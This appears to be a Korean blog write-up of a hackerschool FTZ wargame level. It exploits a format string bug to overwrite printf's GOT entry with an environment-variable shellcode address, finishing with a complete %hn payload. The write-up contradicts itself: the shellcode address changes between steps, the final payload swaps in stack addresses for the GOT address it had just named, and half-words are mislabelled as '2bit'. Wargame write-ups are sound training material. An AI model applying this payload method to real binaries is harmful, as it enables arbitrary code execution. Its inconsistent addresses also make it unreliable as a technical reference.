문제 분석
1. fgets bof
2. FSB 사용
FSB 자세한 설명
https://pu1et-panggg.tistory.com/22
풀이
목표 : printf@got <- shellcode_addr
1. printf@got 주소 확인 : 0x80495b4
2. shellcode 환경변수로 저장 후 주소 확인 : 0xbffffbc9
자세한 설명 : https://pu1et-panggg.tistory.com/51
3. 조작할 스택 위치 확인
입력한 "AAAA"가 %4$x에 출력되는 것 확인
%4$x : 임의의 입력값("AAAA") 이후에 4번째 %x 값
4. printf@got <- shellcode_addr
[0x80495b4] <- 0xbffffbe2
0xfbe2 = 64482 (상위 2bit)
0x1bfff = 114687 (하위 2bit)
즉,
[0x80495b4] = 0xfbe2
[0x80495b6] = 0x1bfff
4. payload = printf@got + printf@got+2 + "%64474x" + "%4$hn" + "%50205x" + "%5$hn"
= 0xbfffeb5c + 0xbfffeb5e + "%64474x" + "%4$hn" + "%50205x" + "%5$hn"
'시스템 > FTZ' 카테고리의 다른 글
hackerschool FTZ level 1 - level 20 풀이 통합본 (0) | 2019.04.02 |
---|---|
hackerschool FTZ : level 18 풀이 (0) | 2019.04.02 |
hackerschool FTZ : level 17 풀이 (0) | 2019.04.02 |
hackerschool FTZ : level 16 풀이 (0) | 2019.04.02 |
hackerschool FTZ : level 15 풀이 (0) | 2019.04.02 |